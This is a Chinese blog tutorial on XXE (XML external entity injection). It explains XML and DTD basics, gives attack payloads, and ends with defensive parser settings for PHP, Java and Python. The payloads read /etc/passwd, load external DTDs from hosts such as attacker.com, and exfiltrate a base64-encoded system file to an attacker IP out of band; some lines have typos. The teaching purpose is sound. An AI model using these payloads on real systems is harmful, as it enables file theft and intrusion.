XEE详解

已于 2022-12-15 20:52:40 修改
阅读量1.4k 收藏 4
点赞数 2
分类专栏： 渗透测试 文章标签： 网络安全 web安全 xml
于 2022-12-15 20:48:32 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_52051132/article/details/128334537
版权

XEE详解

1、XML基础知识

eXtensible Markup Language 可扩展标记语言

XML用途
配置文件
在这里插入图片描述
交换数据
在这里插入图片描述
XML内容

在这里插入图片描述
XML格式要求

  • XML文档必须有根元素
  • XML文档必须有关闭标签
  • XML标签对大小写敏感
  • XML元素必须被正确的嵌套
  • XML属性必须加引号

XML格式校验

DTD（Document Type Definition ） 文档类型定义

在这里插入图片描述
内部实体：

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

外部实体：

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "http://127.0.0.1/note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 
 
#而http://127.0.0.1/note.dtd的内容为
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

外部实体引用：协议
在这里插入图片描述
不同语言支持的协议
在这里插入图片描述
PHP扩展
在这里插入图片描述
完整的XML内容
在这里插入图片描述

2、什么是XXE

在这里插入图片描述

XML外部实体注入 XML External Entity Injection

如果Web应用的脚本代码没有限制XML引入外部实体，从而导致用户可以插入一个外部实体，并且其中的内容会被服务器端执行，插入的代码可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<a>&b;</a>

<?xml version="1.0"?>
<!DOCTYPE a [
       <!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd">
]>
<a>&b;</a>
 
#而http://mark4z5.com/evil.dtd内容为
<!ENTITY b SYSTEM "file:///etc/passwd">

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd">
]>
<a>%b;</a>
 
#http://mark4z5.com/evil.dtd文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">

3、XXE利用方式

微信支付XXE漏洞
在这里插入图片描述
在这里插入图片描述
直打：xee靶场

  1. 确定使用XML传输数据（抓包可得）
  2. 发送到Repeater
  3. 添加DTD，引用外部问文档
  4. Send得到响应

盲打-DNSLog

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY %remote SYSTEM "http://aaabbb.fiaz84.dnslog.cn">%
remote;]>

盲打-http接口参数，写入文件

<?xml version="1.0">
<!DOCTYPE ANY[
<!ENTITY %remote SYSTEM "http://attacker.com/evil.dtd">
%remote;]>
<root>&send;</root>

<!ENTTY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c:/system.ini">
<!ENTITY % int "<!ENTITY &#37;send SYSTEM 'http://192.168.1
42.135:8080?p=%file;'>">

4、XXE防御

PHP

libxml_disable_entity_loader(true);

Java

DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python

from lxml import etree
xmlData =
etree.parse(xmlSource,etree.XMLParser(resolve_entities=Fa
lse))

过滤用户提交的XML数据

'
"
''(two apostrophe)
""
<
>
]]>
]]>>
<!--/-->
/-->
-->
<!-- <!
<! [CDATA[/]]>

WAF

以mod_security为例
爱睡觉的扬扬
关注
专栏目录
web渗透--25--XXE外部实体注入
武天旭的博客
09-16 1366
1、漏洞描述： XXE Injection即XML External Entity Injection，也就是XML外部实体注入攻击。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。 在XML1.0标准里，XML文档结构里定义了实体(entity)这个概念。实体可以通过预定义在文档中调用，实体的标识符可访问本地或远程内容。如果在这个过程中引入了“污染”源，在对XML文档处理后则可能导致...
XXE漏洞详解
weixin_56714714的博客
07-25 7827
XXE 什么是XXE? ​ XXE全程xml外部实体，从安全角度来讲，由此引发的漏洞称之为XML外部实体攻击 XML作为一种使用较为广泛的数据传输格式，很多应用程序都包含有处理xml数据的代码， 许多过时或配置不当的XML处理器都会对外部实体进行引用，如果攻击者可以上传XML文档或者在XML文档 中添加恶意内容，通过易受攻击的代码，就能够攻击包含缺陷的XML处理器，XXE漏洞的出现和开发语言无关 只要是应用程序中对XML数据做了解析，而且这些数据又受用户控制，那么应用程序都可能受到XXE攻击 什么是XML？
XEE
weixin_44110913的博客
04-14 220
pikachu靶场 ：十三、XXE概述XXE 漏洞盲注 概述 XXE -“xml external entity injection”...
XEE介绍
weixin_34395205的博客
08-04 186
摘要：XMl Entity Expansion（攻击）某种程度上类似于 XML Entity Expansion，但是它主要试图通过消耗目标程序的服务器环境来进行DOS攻击的。这种攻击基于XML Entity Expansion实现，通过在XML的DOCTYPE中创建自定义实体的定义实现，比如，这种定义... XMl Entity Expansion（攻击）某种程度上类似于 XML Enti...
XEE总结
a69843251的博客
02-27 1437
你的Web应用是否存在XXE漏洞？ 如果你的应用是通过用户上传处理XML文件或POST请求（例如将SAML用于单点登录服务甚至是RSS）的，那么你很有可能会受到XXE的攻击。XXE是一种非常常见的漏洞类型，我们几乎每天都会碰到它。在去年的几次web应用渗透中，我们就成功的利用了好几回。 什么是XXE 简单来说，XXE就是XML外部实体注入。当允许引用外部实体时，通过构造恶意内容，就可能导致任...
MAC端看图工具-Xee
02-25
Mac端简易看图工具，相比自带的预览能做到方向键翻页。
Modbus协议详解
旧年不在的博客
07-14 9366
Modbus协议详解
Linux的uio机制架构详解,uio机制
weixin_30774813的博客
05-14 3904
/*UIO(Userspace I/O)是运行在用户空间的I/O技术。Linux系统中一般的驱动设备都是运行在内核空间，而在用户空间用应用程序调用即可，而UIO则是将驱动的很少一部分运行在内核空间，而在用户空间实现驱动的绝大多数功能！使用UIO可以避免设备的驱动程序需要随着内核的更新而更新的问题！怎么编写uio驱动详解======================为了用最简单的例子说明问题，我们在我...
zuc算法代码详解_ZUC祖冲之序列密码算法
weixin_39624769的博客
12-21 1807
ZUC祖冲之序列密码算法ZUC主要由LFSR线性反馈移位寄存器, BR比特重组和F非线性函数三部分组成;输入: 128位长的密钥, 128位长的初始化向量;输出: \(n, n \in N^+\)个32位长的字串, \(n\)为节拍数(轮数);算法过程ZUC(KEY, IV, n):初始化阶段:for i in 0..32:-BitReconstruction();W = F(X_0, X_1, ...
zuc算法代码详解_ZUC算法了解
weixin_39887531的博客
12-21 4261
ZUC算法是一个面向字的流加密算法。它使用一个128位的初始密钥 key 和一个128位的初始向量 iv 来作为输入，可以输出若干个32位字的密钥流，也就就是说每32位字在这里称为一个密钥字。这样产生的密钥流可以用于加密和解密。以下内容参考自 ZUC 标准文档1. 简介在ZUC算法中，有两个执行阶段，分别是初始化阶段和工作阶段。在初始化阶段中， key 和 iv 被初始化完成。在工作阶段中，每个时...
mac中最好用的看图软件xee（相当于acdsee）
04-20
mac中最好用的看图软件xee（相当于acdsee）
XXE外部实体注入
人若有志,就不会在半坡停止。
11-07 611
DTD全称是The document typedefinition，即是文档类型定义，可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML 文档中，也可作为一个外部引用。XXE（xml external entity injection）即xml外部实体注入漏洞。XXE是针对应用程序解析XML输入类型的攻击。也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
XEE漏洞浅谈
weixin_43460822的博客
09-18 1559
介绍XXE漏洞 XML外部实体注入（XML External Entity）简称XXE漏洞。 什么是 XML？ XML 指可扩展标记语言（EXtensible Markup Language）。 XML 是一种很像HTML的标记语言。 XML 的设计宗旨是传输数据，而不是显示数据。 XML 标签没有被预定义。您需要自行定义标签。 XML 被设计为具有自我描述性。 XML 是 W3C 的推荐标准。 ...
XEE漏洞详解（全面）
最新发布
m0_64481831的博客
02-18 1396
XML是一种标记语言，用于描述数据的结构和内容。它可以用来表示各种类型的数据，例如文本、数字、图像等。XML设计的目的是为了使数据的交换和共享更加容易，同时也可以被用于数据的存储和传输。用途：异步系统之间进行数据传输的媒介（现在json代替了该功能）例如如果想要Java程序和Python程序之间进行数据传输，就可以使用xml作为存放数据的载体，以此传输。作为配置文件使用配置文件是用于给应用程序提供配置参数以及初始化设置的一些文件。xml文档声明，在文档的第一行，包括xml版本号和字符集声明。
XEE漏洞学习(史上最详细 包括Linux配置漏洞环境)
qq_34598847的博客
10-13 887
XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件和代码，造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
XML注入介绍--XXE，XEE,xpath等
weixin_34244102的博客
08-04 252
XML注入指在请求的XML中插入攻击利用代码。根据不同的场景，可能会形成以下的漏洞形式： （1）XEE ----xml entity xpansion(xml实体膨胀，用于dos) 具体介绍：http://www.cnblogs.com/lcamry/p/5737318.html （2）XXE-----xml external entity injection(xml外部...
windows文件读取 xxe_XML注入介绍--XXE，XEE,xpath等
weixin_39827304的博客
12-22 454
网络安全XML注入介绍--XXE，XEE,xpath等 XML注入指在请求的XML中插入攻击利用代码。根据不同的场景，可能会形成以下的漏洞形式：(1)XEE ----xml entity xpansion(xml实体膨胀，用于dos)(2)XXE-----xml external entity injection(xml外部实体注入，最为常见的方法)(3)soap注入(4)x...
注入攻击与防御_XXE(Web漏洞及防御)
weixin_30497687的博客
01-15 385
XEE：XML External Entity(XML外部实体)(注意：XEE与XML注入、XPATH注入漏洞不一样的！)XML：可扩展标记语言，用来结构化，存储以及传输信息！XML文档结构：XML声明文档类型定义(Document Type Definition，DTD，可选项)文档元素DTD：用来约束一个XML文档的书写规范！定义元素(对应XML中的标签)定义实体(对应XML标签中的内容)内部...
XML外部实体注入（XEE）的原理和应用
QQ934072160的专栏
11-12 2187
文章目录 XXE注入 一、XML简介 二、XML实体 三、CTF中XEE攻击 XXE注入 XXE注入全称是xml external entity 注入，也就是xml外部实体注入。XXE漏洞发生在应用程序解析输入的XML时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取，命令执行等攻击。 一、XML简介 XML是一种用户自定义的标记语言，主要用于数据的存储和传输。XML文档有自己的一个格式规范。是由DTD（document type define)来控制的。例如： <?xml vers
pikachu xee漏洞
07-28
鉴于提供的引用内容，可以得出以下结论： - 引用\[1\]提到了通过POST请求获取前端的XML数据，并使用simplexml_load_string()函数对数据进行解析。在这个过程中，如果开启了外部实体解析，就可能导致XXE漏洞的产生。 - 引用\[2\]提到了在输入特定的XML数据时，发现可以成功注入并利用XXE漏洞。 - 引用\[3\]提供了关于XML的基本介绍，包括XML的定义、XML文档实例的结构和元素的使用。 综上所述，pikachu xee漏洞是指在处理XML数据时存在的XXE漏洞。通过构造恶意的XML数据，攻击者可以利用这个漏洞来执行任意代码或读取敏感信息。 #### 引用[.reference_title] - *1* *2* *3* [Pikachu之XXE（xml外部实体注入漏洞）](https://blog.csdn.net/weixin_46145025/article/details/117297147)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值